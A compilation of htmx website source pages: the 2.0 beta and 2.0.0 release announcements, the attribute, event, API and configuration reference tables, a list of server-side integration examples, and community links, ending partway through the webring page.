This is an _beta_ release and should NOT be considered ready for production.  We are releasing it to begin 
final testing against real world scenarios.

If you are able to do so, please switch to the release and do a quick run through any htmx-powered functionality you
have and let us know if there are issues.

Of particular concern to us are the following changes:

* We removed the deprecated `hx-sse` and `hx-ws` attributes in favor of the extensions (which are available in 1.x)
* `DELETE` requests now use parameters, rather than form encoded bodies, for their payload (This is in accordance w/ the spec.)

A complete upgrade guide can be found here:

[htmx 1.x -> 2.x Migration Guide](@/migration-guide-htmx-1.md)

Note that htmx 2.x will no longer be IE compatible, but 1.x will continue to be supported for IE users.

### Installing

The beta can be installed via a package manager referencing version `2.0.0-beta4`, or can be linked via a CDN:

```html
<script src="https://unpkg.com/htmx.org@2.0.0-beta4/dist/htmx.min.js"></script>
```

or <a href="https://unpkg.com/htmx.org@2.0.0-beta4/dist/htmx.min.js" download>Downloaded</a>

### Extensions

Extensions have been removed from the main codebase and are now in this github repo:

<https://github.com/bigskysoftware/htmx-extensions>

They are available at <https://extensions.htmx.org>

There was one breaking change in the extensions, SSE, so you must use the newer version of that extension:

<https://github.com/bigskysoftware/htmx-extensions/blob/main/ext/sse.js>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2024-06-17-htmx-2.0.0-is-released.md

+++
title = "htmx 2.0.0 has been released!"
date = 2024-06-17
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 2.0.0 Release

I'm very happy to announce the release of htmx 2.0.  This release ends support for Internet Explorer and tightens up some
defaults, but does not change most of the core functionality or the core API of the library.

Note that we are not marking 2.0 as [`latest`](https://docs.npmjs.com/cli/v10/commands/npm-dist-tag#purpose) in NPM 
because we do not want to force-upgrade users who are relying on non-versioned CDN URLs for htmx.  Instead, 1.x will
remain `latest` and the 2.0 line will remain `next` until Jan 1, 2025. The website, however, will reference 2.0.

### Major Changes

* All extensions have been moved out of the core repository to [their own repo](https://github.com/bigskysoftware/htmx-extensions/)
  and website: <https://extensions.htmx.org>.  They are now all versioned individually and can be developed outside of
  the normal (slow) htmx release cadence.
  * Most 1.x extensions will work with 2.x, however the SSE extension did have a break and must be upgraded.
  * The older extensions remain in the `/dist/ext` directory so as to not break the URLs of CDNs like unpkg, but please
    move to the new extension URLs going forward
* We removed the deprecated `hx-sse` and `hx-ws` attributes in favor of the extensions, which were available and
  recommended in 1.x.
* HTTP `DELETE` requests now use parameters, rather than form encoded bodies, for their payload (This is in accordance w/ the spec.)
* We now provide specific files in `/dist` for the various JavaScript module styles:
  * ESM Modules: `/dist/htmx.esm.js`
  * AMD Modules: `/dist/htmx.amd.js`
  * CJS Modules: `/dist/htmx.cjs.js`
  * The `/dist/htmx.js` file continues to be browser-loadable
* The `hx-on` attribute, with its special syntax, has been removed in favor of the less-hacky `hx-on:` syntax.

### Minor Changes

* We made some default changes:
  * `htmx.config.scrollBehavior` was changed to `'instant'` from `'smooth'`
  * As mentioned previously, `DELETE` requests now use query parameters, rather than a form-encoded body.  This can
    be reverted by setting `htmx.methodsThatUseUrlParams` to  the value `['get']`,
  * `htmx.config.selfRequestsOnly` now defaults to `true` rather than `false`

### Features

Not much, really:

* The `selectAndSwap()` internal API method was replaced with the public (and much better) [`swap()`](/api/#swap) method
* Web Component support has been [improved dramatically](@/examples/web-components.md)
* And the biggest feature of this release: [the website](https://htmx.org) now supports dark mode! (Thanks [@pokonski](https://github.com/pokonski)!)

A complete upgrade guide can be found here:

[htmx 1.x -> 2.x Migration Guide](@/migration-guide-htmx-1.md)

If you require IE compatibility, the [1.x](https://v1.htmx.org) will continue to be supported for the foreseeable future.

### Installing

htmx 2.0 can be installed via a package manager referencing version `2.0.0`, or can be linked via a CDN:

```html
<script src="https://unpkg.com/htmx.org@2.0.0/dist/htmx.min.js"></script>
```

or <a href="https://unpkg.com/htmx.org@2.0.0/dist/htmx.min.js" download>Downloaded</a>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/_index.md

+++
title = "Posts"
+++

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/reference.md

+++
title = "Reference"
+++

## Contents

* [htmx Core Attributes](#attributes)
* [htmx Additional Attributes](#attributes-additional)
* [htmx CSS Classes](#classes)
* [htmx Request Headers](#request_headers)
* [htmx Response Headers](#response_headers)
* [htmx Events](#events)
* [htmx Extensions](/extensions)
* [JavaScript API](#api)
* [Configuration Options](#config)

## Core Attribute Reference {#attributes}

The most common attributes when using htmx.

<div class="info-table">

| Attribute                                        | Description                                                                                                        |
|--------------------------------------------------|--------------------------------------------------------------------------------------------------------------------|
| [`hx-get`](@/attributes/hx-get.md)               | issues a `GET` to the specified URL                                                                                |
| [`hx-post`](@/attributes/hx-post.md)             | issues a `POST` to the specified URL                                                                               |
| [`hx-on*`](@/attributes/hx-on.md)                | handle events with inline scripts on elements                                                                      |
| [`hx-push-url`](@/attributes/hx-push-url.md)     | push a URL into the browser location bar to create history                                                         |
| [`hx-select`](@/attributes/hx-select.md)         | select content to swap in from a response                                                                          |
| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, somewhere other than the target (out of band)                           |
| [`hx-swap`](@/attributes/hx-swap.md)             | controls how content will swap in (`outerHTML`, `beforeend`, `afterend`, ...)                                      |
| [`hx-swap-oob`](@/attributes/hx-swap-oob.md)     | mark element to swap in from a response (out of band)                                                              |
| [`hx-target`](@/attributes/hx-target.md)         | specifies the target element to be swapped                                                                         |
| [`hx-trigger`](@/attributes/hx-trigger.md)       | specifies the event that triggers the request                                                                      |
| [`hx-vals`](@/attributes/hx-vals.md)             | add values to submit with the request (JSON format)                                                                |

</div>

## Additional Attribute Reference {#attributes-additional}

All other attributes available in htmx.

<div class="info-table">

| Attribute                                            | Description                                                                                                                        |
|------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------|
| [`hx-boost`](@/attributes/hx-boost.md)               | add [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms                           |
| [`hx-confirm`](@/attributes/hx-confirm.md)           | shows a `confirm()` dialog before issuing a request                                                                                |
| [`hx-delete`](@/attributes/hx-delete.md)             | issues a `DELETE` to the specified URL                                                                                             |
| [`hx-disable`](@/attributes/hx-disable.md)           | disables htmx processing for the given node and any children nodes                                                                 |
| [`hx-disabled-elt`](@/attributes/hx-disabled-elt.md) | adds the `disabled` attribute to the specified elements while a request is in flight                                               |
| [`hx-disinherit`](@/attributes/hx-disinherit.md)     | control and disable automatic attribute inheritance for child nodes                                                                |
| [`hx-encoding`](@/attributes/hx-encoding.md)         | changes the request encoding type                                                                                                  |
| [`hx-ext`](@/attributes/hx-ext.md)                   | extensions to use for this element                                                                                                 |
| [`hx-headers`](@/attributes/hx-headers.md)           | adds to the headers that will be submitted with the request                                                                        |
| [`hx-history`](@/attributes/hx-history.md)           | prevent sensitive data being saved to the history cache                                                                            |
| [`hx-history-elt`](@/attributes/hx-history-elt.md)   | the element to snapshot and restore during history navigation                                                                      |
| [`hx-include`](@/attributes/hx-include.md)           | include additional data in requests                                                                                                |
| [`hx-indicator`](@/attributes/hx-indicator.md)       | the element to put the `htmx-request` class on during the request                                                                  |
| [`hx-inherit`](@/attributes/hx-inherit.md)           | control and enable automatic attribute inheritance for child nodes if it has been disabled by default                            |
| [`hx-params`](@/attributes/hx-params.md)             | filters the parameters that will be submitted with a request                                                                       |
| [`hx-patch`](@/attributes/hx-patch.md)               | issues a `PATCH` to the specified URL                                                                                              |
| [`hx-preserve`](@/attributes/hx-preserve.md)         | specifies elements to keep unchanged between requests                                                                              |
| [`hx-prompt`](@/attributes/hx-prompt.md)             | shows a `prompt()` before submitting a request                                                                                     |
| [`hx-put`](@/attributes/hx-put.md)                   | issues a `PUT` to the specified URL                                                                                                |
| [`hx-replace-url`](@/attributes/hx-replace-url.md)   | replace the URL in the browser location bar                                                                                        |
| [`hx-request`](@/attributes/hx-request.md)           | configures various aspects of the request                                                                                          |
| [`hx-sync`](@/attributes/hx-sync.md)                 | control how requests made by different elements are synchronized                                                                   |
| [`hx-validate`](@/attributes/hx-validate.md)         | force elements to validate themselves before a request                                                                             |
| [`hx-vars`](@/attributes/hx-vars.md)                 | adds values dynamically to the parameters to submit with the request (deprecated, please use [`hx-vals`](@/attributes/hx-vals.md)) |

</div>

## CSS Class Reference {#classes}

<div class="info-table">

| Class | Description |
|-----------|-------------|
| `htmx-added` | Applied to a new piece of content before it is swapped, removed after it is settled.
| `htmx-indicator` | A dynamically generated class that will toggle visible (opacity:1) when a `htmx-request` class is present
| `htmx-request` | Applied to either the element or the element specified with [`hx-indicator`](@/attributes/hx-indicator.md) while a request is ongoing
| `htmx-settling` | Applied to a target after content is swapped, removed after it is settled. The duration can be modified via [`hx-swap`](@/attributes/hx-swap.md).
| `htmx-swapping` | Applied to a target before any content is swapped, removed after it is swapped. The duration can be modified via [`hx-swap`](@/attributes/hx-swap.md).

</div>

## HTTP Header Reference {#headers}

### Request Headers Reference {#request_headers}

<div class="info-table">

| Header | Description |
|--------|-------------|
| `HX-Boosted` | indicates that the request is via an element using [hx-boost](@/attributes/hx-boost.md)
| `HX-Current-URL` | the current URL of the browser
| `HX-History-Restore-Request` | "true" if the request is for history restoration after a miss in the local history cache
| `HX-Prompt` | the user response to an [hx-prompt](@/attributes/hx-prompt.md)
| `HX-Request` | always "true"
| `HX-Target` | the `id` of the target element if it exists
| `HX-Trigger-Name` | the `name` of the triggered element if it exists
| `HX-Trigger` | the `id` of the triggered element if it exists

</div>

### Response Headers Reference {#response_headers}

<div class="info-table">

| Header                                               | Description |
|------------------------------------------------------|-------------|
| [`HX-Location`](@/headers/hx-location.md)            | allows you to do a client-side redirect that does not do a full page reload
| [`HX-Push-Url`](@/headers/hx-push-url.md)            | pushes a new url into the history stack
| [`HX-Redirect`](@/headers/hx-redirect.md)            | can be used to do a client-side redirect to a new location
| `HX-Refresh`                                         | if set to "true" the client-side will do a full refresh of the page
| [`HX-Replace-Url`](@/headers/hx-replace-url.md)      | replaces the current URL in the location bar
| `HX-Reswap`                                          | allows you to specify how the response will be swapped. See [hx-swap](@/attributes/hx-swap.md) for possible values
| `HX-Retarget`                                        | a CSS selector that updates the target of the content update to a different element on the page
| `HX-Reselect`                                        | a CSS selector that allows you to choose which part of the response is used to be swapped in. Overrides an existing [`hx-select`](@/attributes/hx-select.md) on the triggering element
| [`HX-Trigger`](@/headers/hx-trigger.md)              | allows you to trigger client-side events
| [`HX-Trigger-After-Settle`](@/headers/hx-trigger.md) | allows you to trigger client-side events after the settle step
| [`HX-Trigger-After-Swap`](@/headers/hx-trigger.md)   | allows you to trigger client-side events after the swap step

</div>

## Event Reference {#events}

<div class="info-table">

| Event | Description |
|-------|-------------|
| [`htmx:abort`](@/events.md#htmx:abort) | send this event to an element to abort a request
| [`htmx:afterOnLoad`](@/events.md#htmx:afterOnLoad) | triggered after an AJAX request has completed processing a successful response
| [`htmx:afterProcessNode`](@/events.md#htmx:afterProcessNode) | triggered after htmx has initialized a node
| [`htmx:afterRequest`](@/events.md#htmx:afterRequest)  | triggered after an AJAX request has completed
| [`htmx:afterSettle`](@/events.md#htmx:afterSettle)  | triggered after the DOM has settled
| [`htmx:afterSwap`](@/events.md#htmx:afterSwap)  | triggered after new content has been swapped in
| [`htmx:beforeCleanupElement`](@/events.md#htmx:beforeCleanupElement)  | triggered before htmx [disables](@/attributes/hx-disable.md) an element or removes it from the DOM
| [`htmx:beforeOnLoad`](@/events.md#htmx:beforeOnLoad)  | triggered before any response processing occurs
| [`htmx:beforeProcessNode`](@/events.md#htmx:beforeProcessNode) | triggered before htmx initializes a node
| [`htmx:beforeRequest`](@/events.md#htmx:beforeRequest)  | triggered before an AJAX request is made
| [`htmx:beforeSwap`](@/events.md#htmx:beforeSwap)  | triggered before a swap is done, allows you to configure the swap
| [`htmx:beforeSend`](@/events.md#htmx:beforeSend)  | triggered just before an ajax request is sent
| [`htmx:beforeTransition`](@/events.md#htmx:beforeTransition)  | triggered before the [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) wrapped swap occurs
| [`htmx:configRequest`](@/events.md#htmx:configRequest)  | triggered before the request, allows you to customize parameters, headers
| [`htmx:confirm`](@/events.md#htmx:confirm)  | triggered after a trigger occurs on an element, allows you to cancel (or delay) issuing the AJAX request
| [`htmx:historyCacheError`](@/events.md#htmx:historyCacheError)  | triggered on an error during cache writing
| [`htmx:historyCacheHit`](@/events.md#htmx:historyCacheHit)  | triggered on a cache hit in the history subsystem
| [`htmx:historyCacheMiss`](@/events.md#htmx:historyCacheMiss)  | triggered on a cache miss in the history subsystem
| [`htmx:historyCacheMissLoadError`](@/events.md#htmx:historyCacheMissLoadError)  | triggered on a unsuccessful remote retrieval
| [`htmx:historyCacheMissLoad`](@/events.md#htmx:historyCacheMissLoad)  | triggered on a successful remote retrieval
| [`htmx:historyRestore`](@/events.md#htmx:historyRestore)  | triggered when htmx handles a history restoration action
| [`htmx:beforeHistorySave`](@/events.md#htmx:beforeHistorySave)  | triggered before content is saved to the history cache
| [`htmx:load`](@/events.md#htmx:load)  | triggered when new content is added to the DOM
| [`htmx:noSSESourceError`](@/events.md#htmx:noSSESourceError)  | triggered when an element refers to a SSE event in its trigger, but no parent SSE source has been defined
| [`htmx:onLoadError`](@/events.md#htmx:onLoadError)  | triggered when an exception occurs during the onLoad handling in htmx
| [`htmx:oobAfterSwap`](@/events.md#htmx:oobAfterSwap)  | triggered after an out of band element as been swapped in
| [`htmx:oobBeforeSwap`](@/events.md#htmx:oobBeforeSwap)  | triggered before an out of band element swap is done, allows you to configure the swap
| [`htmx:oobErrorNoTarget`](@/events.md#htmx:oobErrorNoTarget)  | triggered when an out of band element does not have a matching ID in the current DOM
| [`htmx:prompt`](@/events.md#htmx:prompt)  | triggered after a prompt is shown
| [`htmx:pushedIntoHistory`](@/events.md#htmx:pushedIntoHistory)  | triggered after a url is pushed into history
| [`htmx:replacedInHistory`](@/events.md#htmx:replacedInHistory)  | triggered after a url is replaced in history
| [`htmx:responseError`](@/events.md#htmx:responseError)  | triggered when an HTTP response error (non-`200` or `300` response code) occurs
| [`htmx:sendAbort`](@/events.md#htmx:sendAbort)  | triggered when a request is aborted
| [`htmx:sendError`](@/events.md#htmx:sendError)  | triggered when a network error prevents an HTTP request from happening
| [`htmx:sseError`](@/events.md#htmx:sseError)  | triggered when an error occurs with a SSE source
| [`htmx:sseOpen`](/events#htmx:sseOpen)  | triggered when a SSE source is opened
| [`htmx:swapError`](@/events.md#htmx:swapError)  | triggered when an error occurs during the swap phase
| [`htmx:targetError`](@/events.md#htmx:targetError)  | triggered when an invalid target is specified
| [`htmx:timeout`](@/events.md#htmx:timeout)  | triggered when a request timeout occurs
| [`htmx:validation:validate`](@/events.md#htmx:validation:validate)  | triggered before an element is validated
| [`htmx:validation:failed`](@/events.md#htmx:validation:failed)  | triggered when an element fails validation
| [`htmx:validation:halted`](@/events.md#htmx:validation:halted)  | triggered when a request is halted due to validation errors
| [`htmx:xhr:abort`](@/events.md#htmx:xhr:abort)  | triggered when an ajax request aborts
| [`htmx:xhr:loadend`](@/events.md#htmx:xhr:loadend)  | triggered when an ajax request ends
| [`htmx:xhr:loadstart`](@/events.md#htmx:xhr:loadstart)  | triggered when an ajax request starts
| [`htmx:xhr:progress`](@/events.md#htmx:xhr:progress)  | triggered periodically during an ajax request that supports progress events

</div>

## JavaScript API Reference {#api}

<div class="info-table">

| Method | Description |
|-------|-------------|
| [`htmx.addClass()`](@/api.md#addClass)  | Adds a class to the given element
| [`htmx.ajax()`](@/api.md#ajax)  | Issues an htmx-style ajax request
| [`htmx.closest()`](@/api.md#closest)  | Finds the closest parent to the given element matching the selector
| [`htmx.config`](@/api.md#config)  | A property that holds the current htmx config object
| [`htmx.createEventSource`](@/api.md#createEventSource)  | A property holding the function to create SSE EventSource objects for htmx
| [`htmx.createWebSocket`](@/api.md#createWebSocket)  | A property holding the function to create WebSocket objects for htmx
| [`htmx.defineExtension()`](@/api.md#defineExtension)  | Defines an htmx [extension](https://htmx.org/extensions)
| [`htmx.find()`](@/api.md#find)  | Finds a single element matching the selector
| [`htmx.findAll()` `htmx.findAll(elt, selector)`](@/api.md#find)  | Finds all elements matching a given selector
| [`htmx.logAll()`](@/api.md#logAll)  | Installs a logger that will log all htmx events
| [`htmx.logger`](@/api.md#logger)  | A property set to the current logger (default is `null`)
| [`htmx.off()`](@/api.md#off)  | Removes an event listener from the given element
| [`htmx.on()`](@/api.md#on)  | Creates an event listener on the given element, returning it
| [`htmx.onLoad()`](@/api.md#onLoad)  | Adds a callback handler for the `htmx:load` event
| [`htmx.parseInterval()`](@/api.md#parseInterval)  | Parses an interval declaration into a millisecond value
| [`htmx.process()`](@/api.md#process)  | Processes the given element and its children, hooking up any htmx behavior
| [`htmx.remove()`](@/api.md#remove)  | Removes the given element
| [`htmx.removeClass()`](@/api.md#removeClass)  | Removes a class from the given element
| [`htmx.removeExtension()`](@/api.md#removeExtension)  | Removes an htmx [extension](https://htmx.org/extensions)
| [`htmx.swap()`](@/api.md#swap)  | Performs swapping (and settling) of HTML content
| [`htmx.takeClass()`](@/api.md#takeClass)  | Takes a class from other elements for the given element
| [`htmx.toggleClass()`](@/api.md#toggleClass)  | Toggles a class from the given element
| [`htmx.trigger()`](@/api.md#trigger)  | Triggers an event on an element
| [`htmx.values()`](@/api.md#values)  | Returns the input values associated with the given element

</div>


## Configuration Reference {#config}

Htmx has some configuration options that can be accessed either programmatically or declaratively.  They are
listed below:

<div class="info-table">

| Config Variable                        | Info                                                                                                                                                                       |
|----------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `htmx.config.historyEnabled`           | defaults to `true`, really only useful for testing                                                                                                                         |
| `htmx.config.historyCacheSize`         | defaults to 10                                                                                                                                                             |
| `htmx.config.refreshOnHistoryMiss`     | defaults to `false`, if set to `true` htmx will issue a full page refresh on history misses rather than use an AJAX request                                                |
| `htmx.config.defaultSwapStyle`         | defaults to `innerHTML`                                                                                                                                                    |
| `htmx.config.defaultSwapDelay`         | defaults to 0                                                                                                                                                              |
| `htmx.config.defaultSettleDelay`       | defaults to 20                                                                                                                                                             |
| `htmx.config.includeIndicatorStyles`   | defaults to `true` (determines if the indicator styles are loaded)                                                                                                         |
| `htmx.config.indicatorClass`           | defaults to `htmx-indicator`                                                                                                                                               |
| `htmx.config.requestClass`             | defaults to `htmx-request`                                                                                                                                                 |
| `htmx.config.addedClass`               | defaults to `htmx-added`                                                                                                                                                   |
| `htmx.config.settlingClass`            | defaults to `htmx-settling`                                                                                                                                                |
| `htmx.config.swappingClass`            | defaults to `htmx-swapping`                                                                                                                                                |
| `htmx.config.allowEval`                | defaults to `true`, can be used to disable htmx's use of eval for certain features (e.g. trigger filters)                                                                  |
| `htmx.config.allowScriptTags`          | defaults to `true`, determines if htmx will process script tags found in new content                                                                                       |
| `htmx.config.inlineScriptNonce`        | defaults to `''`, meaning that no nonce will be added to inline scripts                                                                                                    |
| `htmx.config.inlineStyleNonce`         | defaults to `''`, meaning that no nonce will be added to inline styles                                                                                                     |
| `htmx.config.attributesToSettle`       | defaults to `["class", "style", "width", "height"]`, the attributes to settle during the settling phase                                                                    |
| `htmx.config.wsReconnectDelay`         | defaults to `full-jitter`                                                                                                                                                  |
| `htmx.config.wsBinaryType`             | defaults to `blob`, the [the type of binary data](https://developer.mozilla.org/docs/Web/API/WebSocket/binaryType) being received over the WebSocket connection            |
| `htmx.config.disableSelector`          | defaults to `[hx-disable], [data-hx-disable]`, htmx will not process elements with this attribute on it or a parent                                                        |
| `htmx.config.disableInheritance`       | defaults to `false`. If it is set to `true`, the inheritance of attributes is completely disabled and you can explicitly specify the inheritance with the [hx-inherit](@/attributes/hx-inherit.md) attribute.
| `htmx.config.withCredentials`          | defaults to `false`, allow cross-site Access-Control requests using credentials such as cookies, authorization headers or TLS client certificates                          |
| `htmx.config.timeout`                  | defaults to 0, the number of milliseconds a request can take before automatically being terminated                                                                         |
| `htmx.config.scrollBehavior`           | defaults to 'instant', the scroll behavior when using the [show](@/attributes/hx-swap.md#scrolling-scroll-show) modifier with `hx-swap`. The allowed values are `instant` (scrolling should happen instantly in a single jump), `smooth` (scrolling should animate smoothly) and `auto` (scroll behavior is determined by the computed value of [scroll-behavior](https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-behavior)). |
| `htmx.config.defaultFocusScroll`       | if the focused element should be scrolled into view, defaults to false and can be overridden using the [focus-scroll](@/attributes/hx-swap.md#focus-scroll) swap modifier. |
| `htmx.config.getCacheBusterParam`      | defaults to false, if set to true htmx will append the target element to the `GET` request in the format `org.htmx.cache-buster=targetElementId`                           |
| `htmx.config.globalViewTransitions`    | if set to `true`, htmx will use the [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) API when swapping in new content.             |
| `htmx.config.methodsThatUseUrlParams`  | defaults to `["get", "delete"]`, htmx will format requests with these methods by encoding their parameters in the URL, not the request body                                |
| `htmx.config.selfRequestsOnly`         | defaults to `true`, whether to only allow AJAX requests to the same domain as the current document                                                             |
| `htmx.config.ignoreTitle`              | defaults to `false`, if set to `true` htmx will not update the title of the document when a `title` tag is found in new content                                            |
| `htmx.config.scrollIntoViewOnBoost`    | defaults to `true`, whether or not the target of a boosted element is scrolled into the viewport. If `hx-target` is omitted on a boosted element, the target defaults to `body`, causing the page to scroll to the top. |
| `htmx.config.triggerSpecsCache`        | defaults to `null`, the cache to store evaluated trigger specifications into, improving parsing performance at the cost of more memory usage. You may define a simple object to use a never-clearing cache, or implement your own system using a [proxy object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Proxy) |
| `htmx.config.responseHandling`         | the default [Response Handling](@/docs.md#response-handling) behavior for response status codes can be configured here to either swap or error                             |
| `htmx.config.allowNestedOobSwaps`      | defaults to `true`, whether to process OOB swaps on elements that are nested within the main response element. See [Nested OOB Swaps](@/attributes/hx-swap-oob.md#nested-oob-swaps). |
| `htmx.config.historyRestoreAsHxRequest`| defaults to `true`, Whether to treat history cache miss full page reload requests as a "HX-Request" by returning this response header. This should always be disabled when using HX-Request header to optionally return partial responses                                                                                                         |
| `htmx.config.reportValidityOfForms`    | defaults to `false`, Whether to report input validation errors to the end user and update focus to the first input that fails validation. This should always be enabled as this matches default browser form submit behaviour                                                                                                                     |


</div>

You can set them directly in javascript, or you can use a `meta` tag:

```html
<meta name="htmx-config" content='{"defaultSwapStyle":"outerHTML"}'>
```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/server-examples.md

+++
title = "Server-Side Examples"
+++

There are many examples of integrating htmx with server-side frameworks available on GitHub. Generally speaking,
most server-side frameworks are already pretty well set up to integrate with htmx - after all, most of them were
rendering HTML long before JSON became popular.

Different frameworks and platforms may offer alternative systems for installing htmx - for example, in the Java / JVM
ecosystem, [WebJars](https://www.webjars.org) allows the use of npm packages with popular Java build tools such as
Maven and Gradle.

These examples may make it a bit easier to get started using htmx with your platform of choice.

## General Resources

- <https://github.com/rajasegar/awesome-htmx>

## Julia

- https://github.com/leephillips/juliaVortexWeb/
- https://github.com/leephillips/pluckit

## JavaScript

### Node.js

- <https://github.com/rajasegar/todomvc-htmx>
- <https://github.com/rajasegar/htmx-twitter-clone>
- <https://github.com/rajasegar/htmx-trello>

### hapi

- <https://github.com/DamianStanger/hapi-htmx>

## Python

- <https://github.com/PyHAT-stack/awesome-python-htmx>

### Django

- <https://github.com/adamchainz/django-htmx>
- <https://github.com/spookylukey/django-htmx-patterns/>
- <https://github.com/idlesign/django-siteajax>
- <https://github.com/guettli/django-htmx-fun/>
- <https://www.photondesigner.com/articles/submit-async-django-form-with-htmx>

### FastAPI

- <https://github.com/renceInbox/fastapi-todo>
- <https://github.com/AutomationPanda/bulldoggy-reminders-app>
- <https://github.com/volfpeter/fastapi-htmx-tailwind-example>

### Flask

- <https://github.com/edmondchuc/flask-htmx>
- <https://github.com/cscortes/htmxflask>
- <https://github.com/Konfuzian/htmx-examples-with-flask/>

### Lua

- Lua Server Pages: <https://realtimelogic.com/articles/LSP-htmx-A-Powerful-Duo-for-Embedded-Web-Apps>

### py4web

- <https://github.com/jpsteil/py4web_htmx_demo>

## Java

### Javalin

- <https://github.com/AussieGuy0/java-htmx-todo/>
- <https://github.com/erwindrsno/simple-to-do-list>

### Spring Boot

- <https://github.com/wiverson/htmx-demo>
- <https://github.com/wimdeblauwe/blog-example-code/tree/master/todomvc-htmx>

### Quarkus

- <https://github.com/ia3andy/renotes>
- <https://github.com/ia3andy/htmx-todo>

## ColdFusion (CFML - a JVM Language)

### CFWheels Framework

- <https://github.com/bpamiri/cfwheels-todomvc-htmx>
- <https://www.forgebox.io/view/cfwheels-htmx-plugin>
- <https://github.com/chapmandu/cfwheels-htmx-crud>

## C#

### ASP.NET Core

- <https://github.com/jerriepelser-blog/htmx-with-aspnet-core>
- <https://github.com/mryderie/aspnet-core-htmx-example>
- <https://github.com/khalidabuhakmeh/Htmx.Net>
- <https://github.com/khalidabuhakmeh/Htmx.Net#htmxtaghelpers>
- <https://github.com/hlaueriksson/Markupolation/tree/main/samples>

### Blazor

- <https://github.com/grugBraid/haxor-contact-app>

## Prolog

- <https://github.com/Anniepoo/declswiplweb>

## Lisp

- <https://github.com/rajasegar/ccl-demo-raja>
- <https://github.com/rajasegar/cl-trello-clone>
- <https://github.com/rajasegar/cl-github-timeline>

## Clojure

- <https://github.com/whamtet/ctmx>
- <https://github.com/jcpsantiago/htmx-clj-dashboard>
- <https://github.com/prestancedesign/babashka-htmx-todoapp>
- <https://github.com/dharrigan/startrek>

## Ruby

- <https://alchemists.io/projects/htmx>

### Rails

- <https://github.com/rootstrap/htmx-rails>
- <https://github.com/guilleiguaran/rails-htmx>

### Sinatra

- <https://github.com/libsyz/htmx-to-do-app>
- <https://github.com/beechnut/pokebutt-htmx>

## Rust

- <https://github.com/paultuckey/example-todo-app-rust-htmx>
- <https://github.com/welshdave/actix-htmx>

## Scala

### http4s

- <https://github.com/martinprobson/http4s-htmx-demo>
- <https://github.com/eikek/htmx4s>

### zio-http

- <https://github.com/rockthejvm/scalatags-htmx-demo>

## Kotlin

### Ktor

<https://github.com/Rattlyy/htmx-ktor>

### Http4k

- <https://github.com/corlaez/todo-hda-kt>
- <https://github.com/mikaelstaldal/htmx-http4k-thymeleaf>

## Julia

- <https://github.com/clarkevans/TodoMVC.jl>

## OCaml

- <https://ocaml.org/p/dream-htmx>
- <https://github.com/yawaramin/dream-html>

## PHP

### CodeIgniter 4

- <https://github.com/michalsn/codeigniter-htmx-demo>

### Laravel

- <https://spirofloropoulos.com/laravel-htmx-hard-mode-1.html>

### Symfony

- <https://github.com/tomcri/htmxfony>

## Elixir

### Phoenix

- <https://github.com/hungle00/todo-htmx>

### Bandit with Plug Application

- <https://github.com/lorantkurthy/todo-htmex>

## F#

### Giraffe

- <https://hamy.xyz/labs/2023-12-fsharp-htmx>
- <https://github.com/bit-badger/Giraffe.Htmx>

### Feliz.ViewEngine.Htmx

- <https://github.com/Zaid-Ajaj/Feliz.ViewEngine.Htmx>
- <https://github.com/jkone27/todo-mvc-feliz-htmx>

### Falco.Htmx

- <https://github.com/dpraimeyuu/Falco.Htmx>

### Suave (with Feliz)

- <https://jkone27-3876.medium.com/htmx-and-f-c1ffdc18fbb5>

## Go

### templ

- <https://templ.guide/server-side-rendering/htmx>
- <https://github.com/jritsema/go-htmx-tailwind-example>

### elem-go

- <https://github.com/chasefleming/elem-go/tree/main/examples/htmx-fiber-counter>
- <https://github.com/chasefleming/elem-go/tree/main/examples/htmx-fiber-todo>

### htmgo

- <https://htmgo.dev>

## Delphi

### DelphiMVCFramework

- <https://github.com/danieleteti/delphi-dmvcframework-htmx-todo>
- <https://github.com/danieleteti/delphimvcframework/tree/master/samples/htmx>

## FreePascal with Pas2JS

- <https://github.com/zendrael/create_htmx_pascal_app>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/talk/index.md

+++
title = "htmx Talk"
template = "talk.html"
+++

[htmx Discord Server](/discord)

[GitHub Discussions](https://github.com/bigskysoftware/htmx/discussions)

## Feature Requests & Bug Reports

[GitHub Issues](https://github.com/bigskysoftware/htmx/issues)

## Social

[@htmx_org on Twitter](https://twitter.com/htmx_org)

[#htmx on Stack Overflow](https://stackoverflow.com/questions/tagged/htmx)

(NB: *Please post the StackOverflow question URL to the [Discord](https://htmx.org/discord) after creating the question for 
faster service.)*

[r/htmx on reddit](https://www.reddit.com/r/htmx/)

Email: [htmx@bigsky.software](mailto:htmx@bigsky.software)

<iframe src="https://github.com/sponsors/bigskysoftware/card" title="Sponsor bigskysoftware" height="225" width="600" style="border: 0;"></iframe>

## GitHub Stars

View a graph of github stars [here](https://star-history.com/#bigskysoftware/htmx&Date)

## Webring

You can find the htmx webring [here](@/webring.md)

## Training

[HTMX + Flask: Modern Python Web Apps, Hold the JavaScript Course by Michael Kennedy](https://training.talkpython.fm/courses/htmx-flask-modern-python-web-apps-hold-the-javascript)

## Atom Feed (Announcements & Essays)

[atom.xml](/atom.xml)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/webring.md

+++
title = "htmx webring"
+++

<style>
  h1 {
    display: none;
  }
  footer {
    display: none;
  }
  #webring-div {
    font-family: Times New Roman;
  }

@media only screen and (max-width: 720px) {
  .built-with-tds {
     display:none;
  }
}
</style>

<div id="webring-div">

<table id="nav-table" style="border: black 4px double; text-align: center">
<tr>
  <td class="built-with-tds" style="border: 1px black solid">
    <img width="200px" src="/img/createdwith.jpeg" alt="Site created with htmx, The Right Way.">
  </td>
  <td  width="70%" style="text-align: center; font-size: 20px; border: 1px black solid">
     This Great <a href="https://htmx.org">htmx</a> Webring site is owned by <a href="https://bigsky.software">Your Name Here</a>.
